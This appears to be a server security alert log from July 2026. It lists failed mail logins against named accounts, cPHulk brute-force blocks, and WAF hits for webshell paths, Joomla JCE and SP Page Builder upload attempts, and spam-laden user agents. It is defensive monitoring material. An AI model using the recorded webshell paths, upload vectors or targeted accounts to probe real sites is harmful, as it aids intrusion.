2026-07-07 18:39:57 dovecot_login authenticator failed for H=([128.134.83.141]) [95.82.7.89]:40678: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.234.246
country_id: 1835841
description:
2026-07-07 18:40:32 dovecot_login authenticator failed for H=([117.40.175.86]) [112.164.234.246]:38960: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/keralapeople/public_html/index.php||User:keralapeople||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-07 18:41:02 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:37784: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-07 18:41:13 dovecot_login authenticator failed for H=([197.219.228.242]) [122.169.40.221]:48094: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-07 18:44:20 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl (wsip-68-225-62-190.pn.at.cox.net) [89.67.39.124]:46394: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.155.233.254
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://telegra.ph/JOI-AI-Review-2026-Best-AI-Companionship-App--Celebrity-Twins-06-23\">joi ai app</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.130.216
country_id: 1835841
description:
2026-07-07 18:44:09 dovecot_login authenticator failed for H=([111.3.47.217]) [182.31.130.216]:35817: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.237.15.209
country_id: 3932488
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/assets/client/GR-71.jpg HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-07 18:46:07 dovecot_login authenticator failed for H=([14.38.177.105]) [182.95.119.30]:52652: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.43.179.194
country_id: 2510769
description:
2026-07-07 18:47:34 dovecot_login authenticator failed for H=194.red-81-43-179.staticip.rima-tde.net (nsg-corporate-13.147.187.122.airtel.in) [81.43.179.194]:51632: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-07 18:52:29 dovecot_login authenticator failed for H=([219.248.4.146]) [217.29.30.135]:54881: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-07 18:52:41 dovecot_login authenticator failed for H=([106.0.166.123]) [220.77.214.59]:57470: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.249.88
country_id: 1269750
description:
2026-07-07 18:59:27 dovecot_login authenticator failed for H=(c83-255-209-245.bredband.tele2.se) [122.187.249.88]:34978: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-07 19:07:21 dovecot_login authenticator failed for H=([115.20.202.2]) [125.19.163.58]:37836: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 61.3.9.17
country_id: 1269750
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82586.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:682cb259248b82ef26afed4f6eebf0af4ca92da0||Title:0xa8035f3a||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-07 19:10:39 dovecot_login authenticator failed for H=(78.186.54.65.static.ttnet.com.tr) [182.95.101.182]:34088: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: ogocindia.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/ogocindia/public_html/index.php||User:ogocindia||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.94.238.133
country_id: 1835841
description:
2026-07-07 19:18:52 dovecot_login authenticator failed for H=([49.124.151.6]) [220.94.238.133]:32806: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-07 19:19:40 dovecot_login authenticator failed for H=([184.181.217.198]) [50.187.155.130]:39664: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-07 19:19:21 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [182.95.122.110]:43830: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 14.226.171.28
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://metazoowiki.com/index.php/Jugabet_M%C3%A9xico:_%C2%BFC%C3%B3mo_jugar_Balloon,_ganar_dinero_y_retirar_sin_problemas%3F\">c\xc3\xb3mo retirar dinero de Jugabet</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-07 19:21:51 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [183.104.220.84]:41710: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-07 19:27:23 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([68.71.247.133]) [83.255.209.245]:42090: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-07 19:27:48 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net ([182.37.178.94]) [69.118.232.13]:47714: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 46.253.131.63
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/online-casino-tips\">viagra at walmart</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.212.3.99
country_id: 1880251
domain: ibmctradeflow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmctradeflow/public_html/wp-includes||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.3.99
country_id: 1880251
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.248.3.92
country_id: 6252001
description:
2026-07-07 19:32:42 dovecot_login authenticator failed for H=([212.135.208.16]) [162.248.3.92]:39302: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-07 19:32:02 dovecot_login authenticator failed for H=(dsl-94-233-127-218.avtlg.ru) [76.49.199.97]:36110: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-07 19:32:20 dovecot_login authenticator failed for H=([104.37.135.150]) [31.171.125.179]:37672: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 72.195.34.58
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.yy24.cn/\">24\xe5\xb0\x8f\xe6\x97\xb6\xe8\x90\xa5\xe5\x85\xbb\xe7\xbd\x91\xe5\x85\xbb\xe7\x94\x9f\xe5\xa0\x82</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 149.22.83.201
country_id: 3865483
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.phtml||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.4.121
country_id: 1835841
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/yukticlick/public_html/wp-includes||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://bjyou4122.com/home.php?mod=space&uid=523180&do=profile&from=space\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 165.140.199.15
country_id: 1522867
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://ace90bet.bet\">\xd8\xa7\xd9\xbe\xd9\x84\xdb\x8c\xda\xa9\xdb\x8c\xd8\xb4\xd9\x86 \xd8\xac\xd8\xa7\xd9\x85 \xd8\xac\xd9\x87\xd8\xa7\xd9\x86\xdb\x8c 2026</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.78.193.250
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.5.15
country_id: 3608932
domain: ahsmarine.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:19-46.138.59.5.15||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-07 19:49:56 dovecot_login authenticator failed for H=([36.135.103.30]) [122.187.116.110]:55316: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-07 19:50:44 dovecot_login authenticator failed for H=([49.124.152.179]) [50.217.40.11]:50864: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-07 19:53:09 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([101.13.5.30]) [64.207.225.55]:50012: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-07 19:55:26 dovecot_login authenticator failed for H=([70.166.167.35]) [78.187.230.168]:46159: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-07 19:55:41 dovecot_login authenticator failed for H=([182.95.102.190]) [182.95.101.182]:40872: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.204.42.226
country_id: 1269750
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/ibmctradeflow/public_html/wp-includes||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.59.137.78
country_id: 798544
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.dlt-winston.net/\">WEBSITE SCAM DELTA575</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783434548526.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.177.15
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/stcinemas/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-07 20:00:22 dovecot_login authenticator failed for H=([49.124.159.195]) [31.171.125.179]:38313: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.41
country_id: 1733045
description:
2026-07-07 20:00:40 dovecot_login authenticator failed for H=([111.4.78.74]) [49.124.146.41]:49728: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.177.15
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/hega.php||SC:/home/stcinemas/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.119.150
country_id: 99237
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/11/01/company-launches-new-software-channel/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:05:46 dovecot_login authenticator failed for H=(PxcWOraUr) [64.113.5.63]:57715: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:05:54 dovecot_login authenticator failed for H=(1Iy96NBGID) [64.113.5.63]:31859: 535 Incorrect authentication data (set_id=sales)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 64.113.5.63
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[64.113.5.63] [Authentication Database]=[mail] [Username]=[sales] (5/5 failures) (blocked until [Tue Jul  7 14:51:43 2026 UTC/Tue Jul  7 20:21:43 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:07:05 dovecot_login authenticator failed for H=(luNbqBT) [64.113.5.63]:30065: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:08:02 dovecot_login authenticator failed for H=(0Za3LSQuG2) [64.113.5.63]:40900: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:09:00 dovecot_login authenticator failed for H=(5k8hbTr) [64.113.5.63]:41281: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:09:38 dovecot_login authenticator failed for H=(1Tvj2G4DCJ) [64.113.5.63]:44555: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:09:57 dovecot_login authenticator failed for H=(X0d8BM) [64.113.5.63]:52648: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:10:54 dovecot_login authenticator failed for H=(HHYxnBgn) [64.113.5.63]:29615: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.198.175.22
country_id: 1835841
description:
2026-07-07 20:12:45 dovecot_login authenticator failed for H=([49.124.147.101]) [175.198.175.22]:56268: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:11:52 dovecot_login authenticator failed for H=(InwUeO7I) [64.113.5.63]:43910: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.152.113
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:13:09 dovecot_login authenticator failed for H=(gWB4nP) [64.113.5.63]:2844: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-07 20:13:29 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([192.252.211.196]) [213.65.190.48]:32984: 535 Incorrect authentication data (set_id=nirmal)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 64.113.5.63
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[64.113.5.63] [Authentication Database]=[mail] [Username]=[sales] (30/30 failures) (blocked until [Wed Jul  8 14:44:44 2026 UTC/Wed Jul  8 20:14:44 2026 LOCAL])


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:14:06 dovecot_login authenticator failed for H=(4aJlsZmCUy) [64.113.5.63]:37756: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:14:26 dovecot_login authenticator failed for H=(IOXXo5qf) [64.113.5.63]:47672: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:15:05 dovecot_login authenticator failed for H=(H1IoeuFky) [64.113.5.63]:18560: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:16:03 dovecot_login authenticator failed for H=(adEfJ3nNdq) [64.113.5.63]:46868: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-07 20:16:24 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com (aes-static-097.188.22.125.airtel.in) [75.80.65.214]:35725: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-07 20:16:34 dovecot_login authenticator failed for H=([211.169.212.206]) [174.134.45.64]:48034: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:17:00 dovecot_login authenticator failed for H=(Hv33DnM) [64.113.5.63]:48974: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:17:57 dovecot_login authenticator failed for H=(6dNo7x3G) [64.113.5.63]:37412: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:18:36 dovecot_login authenticator failed for H=(NXrnkB) [64.113.5.63]:32218: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.78
country_id: 99237
description:
2026-07-07 20:19:35 dovecot_login authenticator failed for H=([144.22.210.132]) [65.20.167.78]:50811: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:18:55 dovecot_login authenticator failed for H=(dL0AZUnRi) [64.113.5.63]:32105: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-07 20:19:17 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([218.17.113.148]) [90.230.115.5]:48650: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:20:11 dovecot_login authenticator failed for H=(3yRzVu6j) [64.113.5.63]:22385: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:20:55 dovecot_login authenticator failed for H=(DfIzsr) [64.113.5.63]:64481: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.57
country_id: 1733045
description:
2026-07-07 20:21:11 dovecot_login authenticator failed for H=([60.174.35.18]) [49.124.151.57]:37420: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-07 20:21:36 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp (132-198-216-46-dynamic-pool.internet.mts.by) [202.212.191.16]:34049: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:21:53 dovecot_login authenticator failed for H=(5MKiVESDP) [64.113.5.63]:18073: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:22:50 dovecot_login authenticator failed for H=(W8vk5nG99) [64.113.5.63]:22997: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:23:10 dovecot_login authenticator failed for H=(dDMM2nXj) [64.113.5.63]:56688: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77469916
abuser: 193.148.56.79
country_id: 732800
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_nsrvdy.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:24:08 dovecot_login authenticator failed for H=(Rup6s3) [64.113.5.63]:26125: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:25:05 dovecot_login authenticator failed for H=(YuPpbB) [64.113.5.63]:27181: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-07 20:26:10 dovecot_login authenticator failed for H=(82-209-148-60.cust.bredband2.com) [182.95.101.182]:55632: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-07 20:25:54 dovecot_login authenticator failed for H=([192.111.138.28]) [182.95.232.66]:54904: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:26:03 dovecot_login authenticator failed for H=(Oq0Hclg2) [64.113.5.63]:22219: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:27:00 dovecot_login authenticator failed for H=(NuULYC) [64.113.5.63]:64696: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:27:20 dovecot_login authenticator failed for H=(C90gy46rM) [64.113.5.63]:23565: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:27:58 dovecot_login authenticator failed for H=(vWgpxj1X) [64.113.5.63]:23572: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:28:56 dovecot_login authenticator failed for H=(fjyEqC6e) [64.113.5.63]:60927: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-07 20:28:59 dovecot_login authenticator failed for H=([110.227.215.90]) [125.130.102.172]:59268: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.18.77.223
country_id: 1643084
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-08477fa7a0f905e347eb4f2e6f0b92c5.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:29:53 dovecot_login authenticator failed for H=(C8xwbqdF) [64.113.5.63]:28405: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:31:09 dovecot_login authenticator failed for H=(LoJcHOk9vX) [64.113.5.63]:51656: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13006
